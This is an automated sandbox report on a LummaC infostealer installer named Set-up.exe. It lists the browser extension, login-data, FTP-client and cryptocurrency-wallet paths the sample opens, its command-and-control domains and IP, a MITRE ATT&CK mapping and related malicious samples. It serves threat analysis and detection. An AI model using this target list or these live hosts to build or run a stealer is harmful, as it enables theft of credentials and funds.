Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Input Capture	13 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	1 Obfuscated Files or Information	Security Account Manager	226 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	521 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	2 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Set-up.exe	10%	Virustotal		Browse
Set-up.exe	3%	ReversingLabs	Win32.Ransomware.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	51%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-7UB31.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-7UB31.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CDVKE.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CDVKE.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://michaeluno.jp/l	0%	Avira URL Cloud	safe
https://klipjarifaa.shop/int_clp_8888.txt	0%	Avira URL Cloud	safe
https://deletteproposez.click/api	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0D	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
klipjarifaa.shop	188.114.96.3	true	true	unknown
deletteproposez.click	188.114.96.3	true	true	unknown
fJLEZdwdvmkbhApFpKCL.fJLEZdwdvmkbhApFpKCL	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://deletteproposez.click/api	true	Avira URL Cloud: safe	unknown
https://klipjarifaa.shop/int_clp_8888.txt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	Set-up.exe	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000000.2572127646.0000000000221000.00000020.00000001.01000000.00000008.sdmp	false		high
https://sectigo.com/CPS0	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, Set-up.exe	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	Set-up.exe	false		high
http://repository.certum.pl/ctnca.cer09	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://repository.certum.pl/cscasha2.cer0	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Set-up.exe	false		high
http://ocsp.sectigo.com0	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, Set-up.exe, _isdecmp.dll.20.dr	false		high
http://crl.certum.pl/ctnca.crl0k	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.usertr	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://michaeluno.jp/l	ColorStreamLib.exe, 0000002F.00000002.3087638158.0000000001080000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	Set-up.exe	false		high
http://www.autoitscript.com/autoit3/X	Establish.com, 0000000D.00000000.2080285675.0000000000E25000.00000002.00000001.01000000.00000007.sdmp, Betting.9.dr	false		high
http://www.autohotkey.com	ColorStreamLib.exe, 0000002F.00000000.3049497031.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, ColorStreamLib.exe, 0000002F.00000002.3087001919.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, is-P5ORS.tmp.20.dr	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Set-up.exe	false		high
http://nsis.sf.net/NSIS_ErrorError	Set-up.exe	false		high
https://www.certum.pl/CPS0	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://www.autoitscript.com/autoit3/	Lender.9.dr	false		high
http://crl.certum.pl/cscasha2.crl0q	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://cscasha2.ocsp-certum.com04	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	Set-up.exe	false		high
https://www.remobjects.com/ps	Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000003.2575595204.00000000035EF000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000003.2578721924.000000007F0FB000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000000.2580361859.0000000000131000.00000020.00000001.01000000.00000009.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000000.2602325074.000000000045D000.00000020.00000001.01000000.0000000B.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp.19.dr, Z7592A1QJ4YAVH9BY5KB8681.tmp.17.dr	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	Set-up.exe	false		high
http://crt.sectigo.com/Sectig	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://subca.ocsp-certum.com01	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://www.innosetup.com/	Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000003.2575595204.00000000035EF000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000003.2578721924.000000007F0FB000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000000.2580361859.0000000000131000.00000020.00000001.01000000.00000009.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000000.2602325074.000000000045D000.00000020.00000001.01000000.0000000B.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp.19.dr, Z7592A1QJ4YAVH9BY5KB8681.tmp.17.dr	false		high
http://www.info-zip.org/	ColorStreamLib.exe, 0000002F.00000002.3111118300.0000000039BB0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0D	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://jrsoftware.org0	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://michaeluno.jp/	ColorStreamLib.exe, 0000002F.00000002.3088474529.0000000006262000.00000004.00000020.00020000.00000000.sdmp, ColorStreamLib.exe, 0000002F.00000000.3049537887.0000000000B02000.00000002.00000001.01000000.0000000D.sdmp, ColorStreamLib.exe, 0000002F.00000002.3087638158.0000000001080000.00000004.00000020.00020000.00000000.sdmp, is-P5ORS.tmp.20.dr	false		high
https://jrsoftware.org/	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://www.autohotkey.comCould	ColorStreamLib.exe, 0000002F.00000000.3049497031.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, ColorStreamLib.exe, 0000002F.00000002.3087001919.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, is-P5ORS.tmp.20.dr	false		high
http://www.certum.pl/CPS0	Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	Set-up.exe	false		high
http://ocsp.sectigo.com0D	Set-up.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	klipjarifaa.shop	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584519
Start date and time:	2025-01-05 18:51:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-up.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@81/34@3/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 51% Number of executed functions: 36 Number of non-executed functions: 36
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target ColorStreamLib.exe, PID 1888 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:52:03	API Interceptor	1x Sleep call for process: Set-up.exe modified
12:52:07	API Interceptor	9x Sleep call for process: Establish.com modified
12:53:44	API Interceptor	1x Sleep call for process: ColorStreamLib.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
klipjarifaa.shop	qnUFsmyxMm.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
klipjarifaa.shop	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.74.235

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	'Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.178.174
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.163.221
	'Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.21.63
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.90.109
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.196.191
	momo.spc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	'Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
